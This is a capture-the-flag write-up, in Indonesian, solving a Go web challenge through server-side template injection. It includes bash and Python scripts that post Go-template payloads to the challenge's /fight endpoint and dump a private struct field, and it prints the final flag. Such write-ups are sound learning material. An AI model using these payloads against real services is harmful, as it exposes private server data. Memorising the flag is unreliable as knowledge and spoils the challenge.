The Soldier of God, Rick

description
Can you defeat the Soldier of God, Rick?
Overview
Challenge ini adalah service berbasis Go yang menyediakan endpoint /fight, di mana user dapat mengirim input battle_cry untuk melakukan simulasi battle.
Vulnerability utama pada challenge ini adalah:
- Server-Side Template Injection (SSTI) pada Go templates
- Template merender objek internal secara langsung tanpa sanitasi
- Attacker dapat membaca field sensitif yang tidak seharusnya diekspos, termasuk flag
Goal: Mengekstrak flag yang tersimpan dalam struktur internal objek Go menggunakan SSTI.
langkah penyelesaian
1. Ekstraksi embedded resource
Binary yang diberikan adalah executable Go bernama: rick_soldier
Karena binary Go sering menggunakan fitur embed.FS untuk menyimpan file internal seperti template, config, dan asset, langkah pertama adalah mengekstrak embedded resource dari binary.
Untuk melakukan ini, digunakan tool: Go-Embed-Extractor
Tool ini memungkinkan kita mengekstrak file yang di-embed dalam binary Go tanpa perlu melakukan reverse engineering manual di disassembler.
git clone https://github.com/dimasma0305/Go-Embed-Extractor
rm -rf Go-Embed-Extractor/.git
cp Go-Embed-Extractor/extract_embed.py .
python3 extract_embed.py rick_soldier
dan setelah di extract, kita mendaptkan file .env yang berisi SECRET_PHARSE
Secret phrase ini digunakan oleh endpoint /fight untuk memvalidasi request.
2. Interaksi dengan Endpoint /fight menggunakan Secret yang ditemukan
Selanjutnya, gunakan secret tersebut untuk mengakses endpoint.

setelah di enter.

Ini membuktikan bahwa secret valid dan endpoint dapat diakses.
3. Identifikasi Server-Side Template Injection (SSTI)
saya menggunakan AI untuk membantu menganalisa source code template yang di extract, dan juga memberikan fungsi dari decompile menggunakan ghidra dan menemukan bahwa template tersebut merender objek internal secara langsung tanpa sanitasi, sehingga memungkinkan SSTI.
Input battle_cry dimasukkan ke template, sehingga dapat diuji dengan payload template injection.
Test payload sederhana: {{7}}

Result: 7

4. Identifikasi object yang tersedia dalam template
Dalam Go template, simbol . merepresentasikan object root yang dikirim ke template.
Kita dapat mencetak tipe object menggunakan: {{ . }}
saya beralih dari menjalan payload di web dengan menggunakan cli dengan payload berikut:
TARGET=challenges.1pc.tf:<PORT>
SECRET="Morty_Is_The_Real_One"
send_payload() {
local payload="$1"
local desc="$2"
echo -n "Trying payload: $desc ... "
# Kirim request dengan battle_cry berisi payload SSTI
response=$(curl -s -X POST "http://$TARGET/fight" \
-d "battle_cry=$payload" \
-d "secret=$SECRET")
# Ambil bagian "You screamed: ..." dari HTML response
result=$(echo "$response" | grep "You screamed:" | sed 's/<[^>]*>//g' | sed 's/You screamed: //g' | xargs)
if [[ -z "$result" ]]; then
echo -e "${RED}[FAILED]${NC}"
else
echo -e "${GREEN}[SUCCESS]${NC}"
echo -e " -> Result: $result"
fi
}
send_payload "{{ . }}"
5. Enumerasi Object Template menggunakan Script
untuk mempermudah enumerasi saya meminta AI untuk membuatkan script dengan payload SSTI yang sekiranya berguna untuk menemukan field yang ada dalam object template dan membantu mendapatkan flag.
import requests
TARGET = "http://challenges.1pc.tf:44424/fight"
SECRET_PHRASE = "Morty_Is_The_Real_One"
def send_payload(payload):
data = {
"battle_cry": payload,
"secret": SECRET_PHRASE
}
r = requests.post(TARGET, data=data)
if "You screamed:" in r.text:
start = r.text.find('<span class="text-white italic">"') + 33
end = r.text.find('</span>', start)
result = r.text[start:end].strip('"')
return result
return "ERROR"
payloads = [
'{{ printf "%T" .Secret }}',
'{{ printf "%#v" .Secret }}',
'{{ .Flag }}',
'{{ .flag }}',
'{{ printf "%+v" . }}',
'{{ printf "%#v" . }}',
]
for payload in payloads:
result = send_payload(payload)
print(f"{payload} → {result}")python3 1.py
Dari hasil enumerasi, diperoleh informasi berikut:
- Menentukan tipe Secret
{{ printf "%T" .Secret }}→ string
Artinya .Secret adalah string.
- Attempt akses langsung ke field flag
{{ .flag }}-> flag is an unexported field of struct type router.BattleView
Ini menunjukkan bahwa field flag ada, tetapi tidak dapat diakses langsung karena merupakan private field.
- Enumerasi struktur object root
{{ printf "%+v" . }}→ BattleView{Rick: Rick, Soldier of God HP:999999, LastMsg: Rick explicitly ignores your Scream. He is simply too powerful.}
Ini menunjukkan bahwa object root adalah struct BattleView.
- Exploit: Dump seluruh struct menggunakan printf %#v
{{ printf "%#v" . }}
Result:
router.BattleView{
Rick:(*entity.Rick)(0xc00009b260),
Log:interactor.FightLog{
Message:"Rick explicitly ignores your Scream...",
RickHP:999999
},
flag:"C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}"
}flag
C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}